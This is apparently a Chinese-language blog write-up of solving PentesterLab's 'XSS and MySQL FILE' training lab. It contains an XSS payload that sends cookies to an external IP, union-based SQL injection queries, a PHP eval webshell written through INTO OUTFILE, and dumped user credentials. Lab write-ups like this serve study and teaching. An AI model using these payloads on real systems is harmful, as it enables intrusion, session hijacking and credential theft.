XSS and MYSQL FILE

  1. 1. Pre
  2. 2. Hacking
    1. 2.1. Injection and XSS
    2. 2.2. XSS
    3. 2.3. SQL Injection
    4. 2.4. GetShell
    5. 2.5. Something else
  3. 3. Conclusion

Write up of Pentesterlab’s XSS and MySQL FILE

[TOC]

Pre

与之前一样,导入 iso 后查看 ip 即可

Hacking

Injection and XSS

一开始做了很多工作在 fuzz 注入上,发现主页的post.php?id=2与登录处都不能注入,然后用 xsspt.com 的 xss 平台竟然收不到 cookie … 坑的一批

XSS

由于 xss 平台不知道怎么收不到 cookie ,只能用自己的服务器了,用了文档的 payload

1
<script>document.write('<img src="http://106.14.153.173:2015/?' + document.cookie+'  "/>');</script>

这里强烈建议使用 FireFox + Cookie Manager 来完成,因为感觉这个 session 控制写的不是很好,不带 cookie 访问的话,它会强制重置你的 cookie ,然后就会变成每次都需要 burp 抓包来修改 cookie ,十分麻烦

SQL Injection

进入到管理员界面后,发现在edit.php处存在注入点

1
2
3
4
5
http://172.16.71.149/admin/edit.php?id=1'

mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/classes/post.php on line 111 Notice: Undefined variable: post in /var/www/classes/post.php on line 115

Notice: Trying to get property of non-object in /var/www/admin/edit.php on line 19

继续 fuzz ,在1 union select 1,2,3,4%23的时候回显正常,猜测有4列

通过id=1 union select 1,2,@@version,4 limit 1,1%23,得到了在文本编辑框中的版本号,也通过user()发现是[email protected]的权限,想要拿到 shell ,自然先想怎么去写入 webshell

GetShell

查一下secure_file_priv

1
1 union SELECT 1,@@secure_file_priv,2,3 limit 1,1%23

发现为空,那就说明可以为所欲为了

通过

1
1 union SELECT '<?php eval($_POST[zedd]);?>',2,3,4 INTO OUTFILE '/var/www/zedd.php'%23

这里按照之前 Pentestlab 的尿性写的/var/www这个目录,但是一直写不进去,应该是没权限,然后想应该在一些静态文件夹那里应该会有写入的权限,于是写到了 images 文件夹下面。

1
1 union SELECT '<?php eval($_POST[zedd]);?>',2,3,4 INTO OUTFILE '/var/www/images/zedd.php'%23

连上去就得到 webshell 了

Something else

其它一些 sql 操作

1
2
3
4
5
6
7
8
9
10
11
1 union SELECT 1,2,group_concat(schema_name),4 from information_schema.schemata limit 1,1%23
-- information_schema,blog,mysql

1 union SELECT 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='blog' limit 1,1%23
-- comments,posts,users

1 union SELECT 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' limit 1,1%23
-- id,login,password

1 union SELECT 1,group_concat(login),group_concat(password),4 from users limit 1,1%23
-- admin/8efe310f9ab3efeae8d410a8e0166eb2

反查 md5 得到 admin 的密码是 P4ssw0rd

查看源代码文件可以看到除了find()功能,其他功能都加上了mysql_real_escape_string过滤…

Conclusion

虽然比较简单,但是整体做下来体验不是很好,尤其是 cookie 那里,很恶心…但是也是学会一点技巧吧…还有就是文件路径那里,取巧了一下,因为之前系列 web 目录都是在/var/www目录下,而不是/var/www/html下。XSS 最好还是先用自己的服务器收 cookie …平台并不是完全可靠


Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2019/03/11/XSS-and-MYSQL-FILE/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

命令执行到提权 Web For Pentest II

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×